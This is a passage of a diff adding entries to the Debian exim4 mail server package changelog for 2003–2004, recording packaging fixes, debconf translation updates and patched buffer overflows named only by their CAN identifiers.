+ therefore the daemon would not be stopped. (Closes: #261994)
+ * Build against libgnutls11-dev. (Closes: #263665)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 11 Aug 2004 09:17:35 +0200
+
+exim4 (4.34-4) unstable; urgency=high
+
+ * Urgency high because upgrades from woody were broken.
+ * Exim4 triggers a bug in woody's debconf. - With dialog frontend, invoked
+ by dpkg-preconfigure you are stuck in a loop, always being asked the same
+ two questions (split config, and basic configtype) again and again until
+ you give up and choose split_config=yes although being discouraged from
+ doing so. I am working around this by making the config-script abort if
+ debconf is old and we are running in preconfigure mode. (Thanks to Dan
+ Weber, Adrian Bunk and whoever else wasted brainpower on this.)
+ (Closes: #246742) (am).
+ * Arabic (ar.po) translation of debconf templates by the translation team
+ of Arabeyes.org (Abdulaziz Al-Arfaj). (Closes: #261014)
+ * Change maintainer address to a mailinglist, add myself to uploaders (am)
+ * Quote ${dc_mailname} in exim4-config.config. (am)
+ * Fix grammar error in the original English templates (found by Adam D.
+ Barratt ages ago). Duplicate fix in .po files.(am)
+ * Typo/thinko in exim4-config (two 35-clauses) prevented showing a
+ (unimportant) question for satellite config. Thanks to Fabio Massimo Di
+ Nitto for finding this.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 27 Jul 2004 16:38:54 +0200
+
+exim4 (4.34-3) unstable; urgency=low
+
+ * updated translations:
+ - es (Spanish) by Javier Fernández-Sanguino Peña (Closes: #251987). Also
+ shorten overlong string. (Closes: #251316)
+ - tr (Turkish) by Recai Oktas, fixing overlong translations.
+ (Closes: #251932)
+ - de (German) corrected and scrutinized by Helge Kreutzmann.
+ (Closes: #254038)
+ - ru (Russian), too long templates shortened by Dmitry Beloglazov.
+ (Assuming I read Last-Translator correctly) (Closes: #259148)
+ * Hebrew (he.po) translation of debconf templates by Lior Kaplan.
+ (Closes: #254026, #257508)
+ * introduce .ifndef hacks to allow MESSAGE_SIZE_LIMIT, DCreadhost
+ and DCsmarthost to be changed by the local admin without having to
+ change dpkg-conffiles (mh).
+ * Use byname on the smarthost route list (mh). (Closes: #250367)
+ * Make build-dependency on libldap2-dev unversioned. This was just a paranoia
+ measure and the buildds are using this version anyway (am).
+ * escape some dashes in manpages (am).
+ * Replace the three test -a/-o with &&/|| constructs, and egrep with grep
+ -E (am).
+ * Use symbolic name instead of signal numbers for trap (am).
+ * Add explanation on missing SPF-support to README.Debian (am).
+ * remove MESSAGE_SIZE_LIMIT rule from DATA acl, use global
+ message_size_limit instead. Thanks to Matthias Gärtner for pointing
+ this out to me (mh).
+ * Increase MAX_NAMED_LIST to 32 for daemon-heavy (am). (Closes: #253959)
+ * add a reportbug-script to gather additional information. This way we do
+ not rely on possibly out of date information in debconf (am).
+ (Closes: #255645)
+ * Fix off-by-one error in queryprogram router (am).
+ * set "tls_tempfail_tryclear = false" on remote_smtp_smarthost transport
+ (am, Thanks to Dan Jacobson for the suggestion). (Closes: #253931)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 19 Jul 2004 15:16:28 +0200
+
+exim4 (4.34-2) unstable; urgency=medium
+
+ * Urgency medium because CAN-2004-0400 isstill not fixed in testing and
+ because this version gets almost every single translation up to date.
+ * Norwegian nynorsk translation of debconf templates by HÃ¥vard Korsvoll.
+ (Closes: #248810)
+ * fix debug_print in remote_smtp_smarthost transport. (Closes: #248922)
+ * For minimal_dns update-exim4.conf(8) now tries to find out the primary
+ hostname itself and hardcodes this value in the generated configuration
+ file. (Closes: #241475,#248854)
+ * updated translations:
+ - ko (Korean) by Changwoo Ryu (Closes: #249026)
+ - it (Italian) by Danilo Piazzalunga
+ - lt (Lithuanian) by Gintautas Miliauskas (Closes: #249269)
+ - ru (Russian) by Nikolai Prokoschenko (Closes: #249298)
+ - es (Spanish) by Javier Fernández-Sanguino Peña
+ - nl (Dutch) by Bart Cornelis
+ - de (German) doublechecked and corrected by Dennis Stampfer
+ (Closes: #249925)
+ - fi (Finnish) by Tapio Lehtonen
+ - nb (Norwegian bokmål) by Klaus Ade Johnstad (Closes: #250344)
+ * New bugfix by upstream: "drop" in the DATA acl did not send 550 but dropped
+ the connection immediately.
+ * add a debian/watch file.
+ * Catalan (ca.po) translation of debconf templates by Aleix Badia i Bosch.
+ (Closes: #250113)
+ * Polish (pl.po) translation of debconf templates by Tomasz Z. Napierala.
+ (Closes: #250908)
+ * Rudimentary (5/58) Bosnian debconf templates translation by Safir
+ Šećerović (Closes: #251137)
+ * Document why exim tries to make an AAAA lookup at startup and how to stop
+ this in README.Debian. (Closes: #243822)
+ * Compile with -fno-strict-aliasing. Exim uses lots of casts that are not
+ allowed: "(char **)(&foo)" where foo is a pointer to unsigned char
+ (sourcecode: CSS(foo) with foo being a uchar), which results in lots of
+ "dereferencing type-punned pointer will break strict-aliasing rules".
+ Thanks to Andrew Suffield for the explanation.
+ * exim4-config uses features introduced in 4.33 - conflict with earlier
+ versions. (Closes: #249550)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 31 May 2004 10:31:51 +0200
+
+exim4 (4.34-1) unstable; urgency=low
+
+ * remove cruft from source
+ * New upstream version 4.34, exiscan -21
+ * includes fix for buffer overflow (CAN-2004-0400) fixed in previous
+ upload
+ * Again adds a received header before local_scan() is invoked.
+ * Adds a missing fclose() that was causing scan directories not
+ to be deleted on NFS spools.
+ * add debug_print statements on various routers (mh)
+ * add docs to smarthost router regarding secondary MX setup (see
+ #248370) (mh)
+ * don't ask any more for relay_to_domains if configuring for
+ smarthost and satellite setup. (Closes: #248370) (am)
+ * straighten out remote_smtp transport by adding remote_smtp_smarthost
+ and using that in the smarthost router. (mh)
+ * add hubbed_hosts router for more flexible routing. (mh)
+ * add update-exim4.conf.template and use it in debian/rules (Closes:
+ #248338). (mh)
+ * remove debian/patches/60_upstream_fixes as the fix is already
+ included upstream now. (mh)
+ * add README.Debian-accountname (mh)
+ * updated translations:
+ - zh_CN (Simplified Chinese) by Carlos Z.F. Liu (Closes: #248464). (mh)
+ * Temporarily add a Build-Conflicts with libperl-dev 5.8.4-1. - This version
+ included a dyna-loader incompatible with programs linked against 5.8.3.(am)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 12 May 2004 22:30:19 +0200
+
+exim4 (4.33-1) unstable; urgency=low
+
+ * new upstream version 4.33, exiscan -20:
+ - includes the patches for rewriting and sighandler.
+ - new expansion conditions to e.g. match a domain in named domainlist.
+ * updated translations:
+ - fr (French) by Christian Perrier (Closes: #245342)
+ - el (Greek) by Konstantinos Margaritis.
+ * Document known configuration variables in update-exim4.conf(8).
+ * Make use of ${if match_domain to get rid of the ugly hack (two transports
+ and two routers) to rewrite the envelope from.
+ * Apply fix for verify=header_syntax buffer overflow (CAN-2004-0400).
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 6 May 2004 18:17:05 +0200
+
+exim4 (4.32-2) unstable; urgency=low
+
+ * updated translations:
+ - pt (Portuguese) by Nuno Sénica. (Closes: #244296,#245694)
+ - el (Greek) by Konstantinos Margaritis (Closes: #244354)
+ - cs (Czech) by Miroslav Kure (Closes: #244368)
+ - da (Danish) by Claus Hindsgaul (Closes: #244508)
+ - it (Italian) by Danilo Piazzalunga (Closes: #245174)
+ - fr (French) by eric-m(at)wanadoo.fr (Closes: #245342) and Christian
+ Perrier
+ - ja (Japanese) by Kenshi Muto (Closes: #245430)
+ - hu (Hungarian) by VEROK Istvan
+ - nb (Norwegian Bokmål) by Steinar H. Gunderson
+ - pt_BR (Brazilian Portuguese) by André Luís Lopes
+ - ja (Japanese) by Kenshi Muto
+ - cs (Czech) by Miroslav Kure
+ - sv (Swedish) by André Dahlqvist (Closes: #245716)
+ * Basque (eu.po) translation of debconf templates by Piarres Beobide Egaña.
+ (Closes: #244401)
+ * Indonesian (id.po) translation of debconf templates by I Gede Wijaya S.
+ (Closes: #245120), updated (Closes: #245491)
+ * Turkish (tr.po) translation of debconf templates by Recai Oktas.
+ (Closes: #245751)
+ * Slovak translation of debconf templates by Peter Mann (Closes: #245809)
+ * Add comment in configuration file documenting that effective retry times
+ depend on _both_ retry-rules and frequency of queue running. Keep
+ default QUEUEINTERVAL at 30m because running the queue can be quite
+ expensive and because therespective RFCs suggest 30m as minimal waiting
+ time. (Closes: #242426)
+ * Installation over serial console/minicom only has a screen size of 80
+ characters x 24 lines available. Sigh. Shorten config-type question by
+ cutting down the introduction. (Closes: #244464). Shorten relay-net
+ question by replacing a unnecessarily complicated formulation with a
+ clearer one which closes: #226809.
+ * Debconf supports masquerading as a different host with rewriting not only
+ for "satellite" but also for "smarthost" system. (Closes: #229911).
+ - Introduces another but hopefully last pre-sarge template change.
+ (This includes final versions of the templates without the dead
+ references to "satellite" which closes: #229902.)
+ - Rewrite /this/ stuff at smtp transport time. /etc/email-addresses
+ rewriting still uses normal rewriting because it always has and because
+ it is easier to setup.
+ - This still does not address one basic issue, the misuse of /etc/mailname
+ for qualifying recipeints because this needs clarification in policy
+ _and_ changing MUAs to not do this. Therefore I declare this post-sarge.
+ - Thanks to Chris Cheney for the kick, and to Adam Conrad and Wouter
+ Verhelst for their help.
+ * Add two fixes from upstream:
+ - Change 4.31/55 was buggy and broke sender address rewriting and caching.
+ - Change 4.24/6 broke the SIGALRM handler with deliver_drop_privilege.
+ * README.TLS.gz and the actual configuration disagreed (Thanks, Richard
+ Lamont).
+ * Fix thinko in update-exim4defaults that made --queuetime a no-op.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 26 Apr 2004 09:12:23 +0200
+
+exim4 (4.32-1) unstable; urgency=low
+
+ * New upstream version 4.32 (exiscan 4.32-17)
+ - includes the fix for the caching bug and uses MAIL FROM <> as default
+ value for recipient callouts again.
+ - new exiscan adds a local "Received:" header to the copy passed to
+ spamassassin tofix evaluation of DNS lists, compensating for
+ ChangeLog 4.31/66. (Closes: #242730)
+ * Remove obsolete reference to auth_over_tls_hosts from documentation.
+ (Thanks Jonas Meurer)
+ * Enable SMTP authentication (hosts_try_auth) per default when sending
+ mail to smarthost. No need to edit the configuration-file anymore if you
+ just need to forward all mail to a smarthost with AUTH. (Closes: #203307)
+ * Hungarian translation of debconf templates by VEROK Istvan.
+ (Closes: #242931)
+ * remove "exim 3 will stay default MTA for Debian sarge" from
+ README.Debian as TPTB have decided otherwise. (Closes: #243687).
+ * Rewrite "Sender:"-header for "satellite" configuration profile, too.
+ (Closes: #228978)
+ * Use the normal user account set-up during installation as default
+ destination for delivery of mail for root. (Joey Hess)
+ * Shorten exim4/dc_postmaster template to fit on console. (Joey Hess)
+ (Closes: #242303)
+ * In template suggest using real-foo to force local delivery.
+ (Closes: #229909)
+ * Template changes reviewed by debian-l10n-english. There might still be
+ more changes, translators should probably wait a little bit longer before
+ updating the translation.
+ * On fresh installations smarthost profile only listens on loopback per
+ default. - There are valid uses of "smarthost" that require listening on
+ public interfaces but the most common one (dialup) does not.
+ * Ship README.Debian.UUCP by Andreas Barth in /usr/share/doc/exim4-base. -
+ This resolves our part of #201153.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 17 Apr 2004 18:02:42 +0200
+
+exim4 (4.31-2) unstable; urgency=low
+
+ * Fix caching bug in recipient callouts. (Nico Erfurth).
+ * Document removal of local_scan perl-plugin in NEWS.Debian file.
+ (Closes: #242227)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 15:55:12 +0200
+
+exim4 (4.31-1) unstable; urgency=low
+
+ * New upstream version 4.31 (exiscan 4.31-16)
+ - Supports CRL (Certificate Revocation List) (Closes: #229063)
+ - exim_dbmbuild does not crash on _very_ long RHS values.
+ (Closes: #231597)
+ - route_list does not use a fixed length buffer anymore. (Closes: #231979)
+ - An empty tls_verify_certificates file is correctly interpreted as empty
+ list instead of breaking TLS. (Closes: #236478)
+ * Korean translation of debconf templates by Changwoo Ryu (Closes: #241499)
+ * Minor changes to rcpt_acl:
+ * add missing message = qualifiers. (Closes: #240862)
+ * resync against upstream default, incorporating change 4.23/30, allowing
+ "/" and "|" in nonlocal addresses.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 12:00:54 +0200
+
+exim4 (4.30-8) unstable; urgency=low
+
+ * remove dc_never_users from /etc/exim4/u-ex.conf.conf and the corresponding
+ pattern DEBCONFnever_usersDEBCONF from the template. The code is
+ superfluous since 4.24 introduced FIXED_NEVER_USERS and was broken, user
+ changes were not preserved. (am)
+ * Link against libmysqlclient10 instead of libmysqlclient12 to circumvent
+ symbol-clashes when using PAM with libpam-mysql. (Closes: #235938) (am)
+ * Dump temporary build-conflict with broken po-debconf. (am)
+ * Copy ugly passwd-dependency from -base to -config. (am)
+ * Do not throw away adduser's errormessages. Together with the added
+ dependency noted above this (Closes: #237657). (am)
+ * Installed copy of default configuration-file (example.conf) refered to the
+ temporary install-directory. Ugly hotfix. (Closes: #236483)
+ * Italian translation of debconf templates by Danilo Piazzalunga.
+ (Closes: #237500)
+ * Rewrite generation of /etc/aliases because it was broken when running
+ under debbian-installer/debootstrap, which installs the packages with
+ DEBIAN_FRONTEND=nointeractive and reconfigures them later (report by
+ Florian Effenberger). (am)
+ Instead of generating it _once_ and touching it never again ask for and
+ add alias for root if it is missing. Debconf template
+ exim4/dc_noalias_regenerate is not used any more. (Closes: #237524)
+ * Norwegian Bokmål translation of debconf templates by Steinar H. Gunderson.
+ (Closes: #237680)
+ * Dump local_scan perl-plugin. Upstream development has stopped. (am)
+ * Maintainer scripts now run with -x if environment variable EX4DEBUG
+ is set (mh).
+ * Minor clarifications of debian/README (mh).
+ * rm -rf Local on debian/rules clean (mh).
+ * Swedish translation of debconf templates by André Dahlqvist.
+ (Closes: #238987)
+ * Portuguese (pt) translation of debconf templates by Nuno Sénica.
+ (Closes: #239030)
+ * Lithuanian translation of debconf templates by Kęstutis Biliūnas.
+ (Closes: #239118)
+ * Add examples for client certificate-checking by J.H.M. Dassen (Ray)
+ (Closes: #236609)
+ * Adapt README.* to /etc/exim4/exim4.conf.template (am)
+ * Update to exiscan v16
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 24 Mar 2004 15:39:35 +0100
+
+exim4 (4.30-7) unstable; urgency=low
+
+ * 4.30-6 was rejected, we use | and || for OR in dependency fields.
+ * libldap2 now uses GnuTLS10. Follow suit. (Temporarily bumped libldap2-dev
+ build-dependencies for paranoia's sake.)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 23 Feb 2004 17:03:58 +0100
+
+exim4 (4.30-6) unstable; urgency=low
+
+ * Finnish translation of debconf templates by Tapio Lehtonen.
+ (Closes: #229792)
+ * Simplified Chinese translation of debconf templates by Carlos Z.F. Liu.
+ (Closes: #229910)
+ * Spanish translation of debconf templates by Javi Castelo. (Closes: #232207)
+ * To increase robustness set explicit "domains = +local_domains" on all the
+ routers that are supposed to be handling _only_ local mail (i.e. anything
+ after dnslookup or smarthost) instead of relying on the no_more.
+
+ If the router handling remote addresses was modified by adding a
+ precondition the address would have wrongly been handled by the later
+ routers if the precondition failed, breaking at least "verify = sender".
+ (Closes: #230403) (am)
+ * In the data ACL add a Message-ID header to mails injected with SMTP from
+ +relay_from_hosts. (Exim stopped doing this by default in 4.30.) (mh)
+ * binary-all metapackage exim4 does not depend anymore on exim4-base with
+ exactly the same version. There is no necessity for dependencies that
+ strict and it broke both binary NMUs and installability on lagging
+ architectures. (Closes: #231678) (am)
+ * Give way to the "I use sid but keep it outdated by not running apt-get
+ upgrade ever."-fraction. exim4-base now depends on working versions of
+ passwd i.e. the version in woody or the one that has been in sid
+ for more than 6 months. (Closes: #230423,#230836,#231111) (am)
+ * in source-package symlink identical maintainerscripts. (am/mh)
+ * Ship README.Debian.xinetd, explaning why we do not use (x)inetd and how to
+ use xinetd properly if you insist. (Closes: #226627)
+ * Update Build-Depencies to fit the XFree86 4.3 packages.
+ * Make new lintian happy by quoting section and needs in eximon's
+ menu-file.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 23 Feb 2004 15:48:56 +0100
+
+exim4 (4.30-5) unstable; urgency=low
+
+ * Only use db_settitle if available (Closes: #226992) (am)
+ * Up to date debconf translations for all nine supported languages, thanks
+ to the translators: Miroslav Kure (Czech), Claus Hindsgaul (Danish),
+ Konstantinos Margaritis (Greek), Christian Perrier (French),
+ Kenshi Muto (Japanese), Bart Cornelis (Dutch), André Luís Lopes
+ (Brazilian Portuguese) and Ilgiz Kalmetev (Russian) (am)
+ * After merging translations split the configtype-template, using the
+ __Choices trick. I don't think I made any errors because podebconf's
+ output has not changed. (am)
+ * Don't use /etc/mailname (DEBCONFvisiblenameDEBCONF) as primary_hostname
+ for minimaldns option. (Closes: #225477)
+ * (Re)introduce /etc/exim4/exim4.conf.template as alternative to the
+ multiple small files in /etc/exim4/conf.d/ and make it the default choice
+ for fresh installations. This trades in a loss of comfort (you will again
+ need to merge in each small change manually) for increased stability.
+ (Closes: #224828) (am)
+ * Disable piping to programs in /etc/aliases per default, because they would
+ run as Debian-exim:Debian-exim per default. Add README.system_aliases
+ suggesting dedicated router/transport pairs (am/mh) (Closes: #228062)
+ * modify create-custom-package and adapt debian/rules to allow
+ building multiple named custom packages in a single build. (mh)
+ * "dpkg-reconfigure exim4-config" actually tells exim4 to read the updated
+ configuration. (am)
+ * Use -qqf instead of -qf in the ip-up.d file to force delivery of all
+ messages over a single SMTP connection. (Closes: #228001)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 21 Jan 2004 15:09:00 +0100
+
+exim4 (4.30-4) unstable; urgency=low
+
+ * Updated Japanese debconf template translation by Kenshi Muto
+ (Closes: #224584)
+ * Remove bashism from update-exim4.conf (Closes: #224617) (Jochen Voss)
+ * Czech translation of debconf templates by Miroslav Kure (Closes: #225713)
+ * Fix typos in README.Debian. (Closes: #225149) (Vincent Lefevre)
+ * Replace first, too long debconf question with three short ones (Joey
+ Hess) (Closes: #222720)
+ * Use a custom debconf title. (Closes: #222715)
+ * Greek translation of debconf templates by Konstantinos Margaritis
+ (Closes: #226844)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 9 Jan 2004 09:12:07 +0100
+
+exim4 (4.30-3) unstable; urgency=low
+
+ * update debian/copyright from NOTICE. (No substantial changes, credits
+ for new code) (am)
+ * missing \| made exim4-base.postinst configure hang. (Closes: #224294) (am)
+ * update-exim4.conf: Don't try chown if not running as root. (mh)
+ * Remove useless definition of an auth_over_tls_hosts hostlist in
+ 03_exim4-config_tlsoptions. - It was probably a leftover from somebody
+ running convert4r4. (am)
+ * Make it possible to override spooldir in another config-file snippet, too.
+ (Closes: #223973)
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 19 Dec 2003 15:27:50 +0100
+
+exim4 (4.30-2) unstable; urgency=low
+
+ * Fix exim4-base.logrotate to create logfiles accessible for the new
+ exim-user. (Closes: #223860,#223862)
+ * comment in 03_exim4-config_tlsoptions refered to the user "mail" too.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 13 Dec 2003 15:01:20 +0100
+
+exim4 (4.30-1) unstable; urgency=low
+
+ * Exim now runs under its own uid (Debian-exim) instead of using
+ mail:mail. (am)
+
+ WARNING: You cannot downgrade this version to an older one without
+ manual chown|chgrp all files owned by Debian-exim to mail.
+
+ - control: dependency on adduser and virtual package exim4-config-2 to
+ force review of external -config packages.
+ - use a statoverride for passwd.client.
+ - different postinst scripts:
+ * adduser.
+ * chown|chgrp files/directories owned by mail (group|user) to
+ Debian-exim.
+ * update-exim4.conf does not exit immidiately if /etc/exim4/exim4.conf
+ exists AND -o is specified. (Bill Moseley)
+ * Brazilian Portuguese debconf template translation by André Luís Lopes
+ (Closes: #219781)
+ * Dutch debconf template translation by Bart Cornelis (cobaco)
+ (Closes: #220694)
+ * Pull Dansk debconf template translation from ddtp.
+ * Use a macro to make it possible to overide the value of spool_directory
+ with -DSPOOLDIR=. Needed for mailscanner, (Closes: #221468), suggested by
+ Matthias Klose.
+ * enable support for Cyrus saslauthd (package sasl2-bin,
+ /var/run/saslauthd/mux) for SMTP AUTH against /etc/shadow. (am)
+ * Christian Perrier has reviewed the debconf-templates and changed them to
+ follow the "Debconf Templates Style Guide". (Closes: #221838) Thanks to
+ the (ru|nl|fr|pt_BR) translators for updating their translations.
+ * New upstream version 4.30 with exiscan 4.30-14 (am)
+ - option table for -d in exim(8) readable (but not perfect).
+ (Closes: #214853)
+ - Messages for configuration errors now include the name of the main
+ configuration files (Closes: #202136)
+ - does not reject IPv6 address literals in EHLO/HELO anymore
+ (Closes: #222521)
+ * exim4-config.config: support going back to previous *package* when invoked
+ by base-config 2.0. (Closes: #222773). Suggested by Joey Hess. (am)
+ * exim4-config now conflicts with non-exim4 packages providing MTA, to keep
+ dselect from automatically installing it (and -base) on dist-upgrades on
+ systems that use a different MTA. (mh)
+ * exim4-base depends on netbase again because exim requires
+ /etc/services.(mh)
+ * reindent init-script with two spaces instead of tabs to fit it in 80
+ chars/line. (Closes: #221458)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 8 Dec 2003 16:52:32 +0100
+
+exim4 (4.24-3) unstable; urgency=low
+
+ * rename create-custom-package to create-custom-config-package (mh)
+ * add create-custom-package to create renamed exim4-daemon-custom (mh)
+ * README.TLS: Don't suggest to use commands messing up the local terminal
+ (Sander Smeenk)
+ * Pull Dansk debconf translation from ddtp (not yet up to date)
+ * correct last references to uncompressed /u/s/d/e/README.Debian
+ (Closes: #216639), also kill references to exim-tls. (Closes: #216979)
+ (Kevin "Starfox" Arima). (am)
+ * add exim4-config-medium template package to sources, document (mh)
+ * Update to exiscan 4.24-13 (bugfix-release).
+ * Ask about mailname after configtype. (Closes: #217931) (am)
+ * minor thinko in debconf "local mail only"-config. (am)
+ * update-exim4.conf: now add comment indicating the source file
+ (Closes: #202040) (mh)
+ * add --confdir option to update-exim4.conf (mh)
+ * add "nodaemon" and "queueonly" option to /etc/default/exim4 and
+ init script (mh).
+ * Fix po2debconf on woody systems with old debhelper and po2debconf. (am)
+ * exim4-config does not depend on exim4-base. (am)
+ * Use "command -v" to check for existence of invoke-rc.d instead of
+ hardcoding its path. (am)
+ * Russian debconf translation by Ilgiz Kalmetev (Closes: #219101)
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 4 Nov 2003 12:18:38 +0100
+
+exim4 (4.24-2) unstable; urgency=low
+
+ * Grammar of debconf-templates rectified by Ben Foley.
+ * Handholded by Denis Barbier I have imported debconf translations from
+ postfix: fr.po (Philippe Batailler), ja.po (Kenshi Muto), nl.po (Bart
+ Cornelis) and pt_BR.po (André Luís Lopes). It is just 5 translated
+ messages, 4 fuzzy translations, but it's a start.
+ * No more first person in debconf-templates (Adam D. Barratt)
+ * README.TLS was updated.
+ * pseudopackage libxaw-dev is gone in sid (and libxaw7-dev is already
+ available in woody) - Removed from build-depends.
+ * French debconf translation by Christian Perrier (Thanks for the other
+ hints, too.)
+ * Build-Conflict with broken po-debconf (= 0.8.0). (Closes: #215432)
+ * Add menu-entry for eximon (Artur R. Czechowski) (Closes: #215579).
+ * Resolve name-clash between client- and server-side authenticators (Bug
+ found by Rob Ristroph)
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 15 Oct 2003 12:45:49 +0200
+
+exim4 (4.24-1) unstable; urgency=low
+
+ * New upstream version
+ - 55_fixesfrom-4.23.dpatch is not needed anymore.
+ - most interesting new feature: $acl_xx are now saved with the
+ message, and can be accessed later in routers, transports, and filters.
+ - Cannot run deliveries as root anymore. If you don't redirect mail for
+ root via /etc/aliases or other means to a nonpriviledged account the
+ mail will be delivered to /var/mail/mail with permissions 0600 and owner
+ mail:mail. Change to local_user router to keep it from trying to route
+ mail for root.
+ * debconf for exim4-config pointed to /u/s/d/e/README.Debian but the
+ file is available as README.Debian.gz (Closes: #211934)
+ * exim(8) manpage provides correct NAME section for mailq/runq/... to
+ generate corresponding whatis/apropos info (Thanks to Dan Jacobson
+ <jidanni@jidanni.org> for mentioning lexgrog(1))
+ * polish and crosslink documentation about SMTP AUTH in config-files,
+ documentation and debconf templates. (Closes: #202920)
+ * Ship README.SIEVE (Thanks to Ross Boylan)
+ * Sync some debconf templates against the respective ones in postfix
+ 2.0.16, to limit the work of translators.
+ * update-exim4defaults/init-script: Add a new value fuer QUEUERUNNER,
+ "ppp". - Don't run queue by daemon but still run it from
+ /etc/ppp/ip-up.d/exim4. (Dan Jacobson pointed out that this was very
+ akward to accomplish with old setup.) update-exim4defaults now exits with
+ an error if the argument for --queuerunner is invalid.
+ * Enable gettext-style localisation of debconf templates with
+ compatibility code for woody
+ * Add German debconf-translation. (Some strings were copied from Martin A.
+ Godischs translation of postfix's templates).
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 5 Oct 2003 13:41:30 +0200
+
+exim4 (4.22-5) unstable; urgency=low
+
+ * Sorry, this is not 4.23. Tom is on holidays and because 4.23 changes
+ some ACL code, exiscan needs in depth checking and not just applying the
+ patch by hand.
+ * exim4-config conflicts with bash (<< 2.05), because it cannot handle
+ aliases in functions. This does not necessarily fix dist-upgrades
+ from potato to sarge because debconf-config might happen before the
+ new bash is installed but will keep people running potato from
+ trying to install exim4-config. (Closes: #209720)
+ * sanitize /usr/sbin/exim4's permissions, building with 007 umask
+ could have installed it -rws--x--x
+ * evaluation -oP option for specifying pid-file is broken in 4.22, use fix
+ from 4.23 (Closes: #210847)
+ * "warn log_message blah" in DATA acl triggered dumping of full headers
+ to reject.log, although the message was not rejected by this acl
+ statement. Take fix from 4.23. (Closes: #208782)
+ * On cross-upgrades from exim3 unfold lines continued with a backslash
+ in the old exim3 configuration before trying to parse it to preanswer the
+ debconf-questions. (Closes: #210404) First instance of using perl in our
+ maintainer-scripts, but I could not do it with sed.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 19 Sep 2003 13:55:07 +0200
+
+exim4 (4.22-4) unstable; urgency=low
+
+ * Update to exiscan-acl revision -12. (Emergency fix: When you were using
+ 'discard', and it was the last verb affecting a message, the mbox spool
+ files in the scan directory were not cleaned up.)
+ * Add syslog2eximlog by Martin Godisch, a script to make logfiles produced
+ with exim option "log_file_path = syslog" readable for eximstats.
+ (Closes: #208524)
+ * Enhance description of -heavy and light a little bit. (Closes: #208404)
+ * Standards-Version: 3.6.1, no changes required, we already prompt with
+ debconf.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 4 Sep 2003 19:19:25 +0200
+
+exim4 (4.22-3) unstable; urgency=low
+
+ * Add copright notice of exiscan-acl to debian/copyright.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 17:49:46 +0200
+
+exim4 (4.22-2) unstable; urgency=low
+
+ * Include exiscan-acl patch 4.22-10 http://duncanthrax.net/exiscan-acl/
+ in -heavy and -custom (Closes: #204698)
+ * clean up gnutls-params on purge of base-package.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 12:50:59 +0200
+
+exim4 (4.22-1) unstable; urgency=low
+
+ * new upstream version 4.22. Please take a look at README.UPDATING
+ and NewStuff in /usr/share/doc/exim4-base/
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 18 Aug 2003 16:51:47 +0200
+
+exim4 (4.20-5) unstable; urgency=low
+
+ * Fix EHLO/HELO buffer-overflow CAN-2003-0698 (Closes: #205716)
+ * exim-gencert was using '.' as separator for chown.
+ * "head -n 1" instead of "head -1" in scripts
+ * install /etc/exim4/passwd.client as root:mail 0640 (Closes: #205104)
+ (it needs to be readable for the exim-user or -group, i.e. mail:mail)
+ * set mode_fail_narrower = false for mail_spool and maildir_home transports
+ (Closes: #204228)
+ * Standards-Version: 3.6.0, no changes required.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 16 Aug 2003 17:40:17 +0200
+
+exim4 (4.20-4) unstable; urgency=low
+
+ * CFILEMODE and dc_local_interfaces were not saved in update-exim4.conf.conf
+ on fresh installations.
+ * update-exim4.conf: Remove comments _after_ doing DEBCONFpatternDEBCONF
+ replacement.
+ * conf.d/auth/30_exim4-config_examples: Fix forced failure of AUTH LOGIN
+ client on non-encrypted connections.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 5 Aug 2003 10:38:16 +0200
+
+exim4 (4.20-3) unstable; urgency=low
+
+ * hub_user router: set correct .ifdef, remove superficial condition=
+ * don't generate main/03_exim4-config_neverusers dynamically, use
+ a DEBCONF_foo pattern that is replaced by up-ex4.conf. exim4 should
+ now play nicely with readonly /etc.
+ * Enable exim-filter in .forward per default. (Closes: #201827)
+ * Enable maildrop-delivery for users with ~/.mailfilter
+ * Easier setup of client side SMTP authentification:
+ -short README file.
+ -passwd.client example shipped in CONFDIR
+ -30_exim4-config_examples:
+ +change order, prefer cram-md5.
+ +enable by default (auth-plain and -login only for TLS protected
+ connections). They remain inactive while hosts_try_auth is
+ disabled.
+ * add comments listing the filename to the files in conf.d that were
+ changed anyway. Addresses part of 202040.
+ * remove misleading comments about "bottom of file" or "see below"
+ from config-snippets. (Closes: #202165)
+ * Disable orphaned inetd-entries from exim (v3) caused by bugs #202670 and
+ #182206 in exim4-config's postinst. I'll close #201143 manually.
+ * Restructure and clarify README.Debian and polish update-exim4.conf(8).
+ Thanks to Ross Boylan for pushing me in the correct direction.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 24 Jul 2003 10:29:19 +0200
+
+exim4 (4.20-2) unstable; urgency=low
+
+ * update-exim4.conf works without daemon-package (Closes:#195329)
+ * Add dnslookup_relay_to_domains router for "internet" config to
+ allow relaying for domains with an MX pointing to an rfc1918
+ address. (Closes: #198410) (MH)
+ * update-exim4.conf would hang if one of the subdirectories in conf.d
+ was empty. (Report and fix by Marc Merlin)
+ * Build-Depend on libgnutls7
+ * Preserve comments in update-exim4.conf.conf by first adding missing
+ items and replacing the values with sed instead of regenerating file
